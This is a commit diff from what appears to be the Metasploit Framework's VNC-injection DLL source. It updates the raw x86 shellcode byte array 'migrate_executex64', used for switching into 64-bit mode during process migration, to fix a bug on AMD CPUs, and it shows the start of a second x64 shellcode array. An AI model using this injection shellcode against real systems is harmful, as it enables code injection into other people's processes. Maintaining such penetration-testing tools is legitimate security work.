Skip to content

Commit ca5b20f

Browse files
author
RaMMicHaeL
authored
Fixed an elusive bug on AMD CPUs
Details: http://blog.rewolf.pl/blog/?p=1484 rwfpl/rewolf-wow64ext@8771485
1 parent e7fa4c2 commit ca5b20f

File tree

1 file changed

+7
-4
lines changed

1 file changed

+7
-4
lines changed

external/source/vncdll/vncdll/inject.c

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,14 @@
1212
#endif
1313

1414
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
15+
// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
16+
// found and fixed by ReWolf, incorporated by RaMMicHaeL
1517
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
16-
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
17-
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
18-
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
19-
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
18+
"\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
19+
"\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14"
20+
"\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF"
21+
"\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C"
22+
"\x24";
2023

2124
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
2225
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"

0 commit comments

Comments
 (0)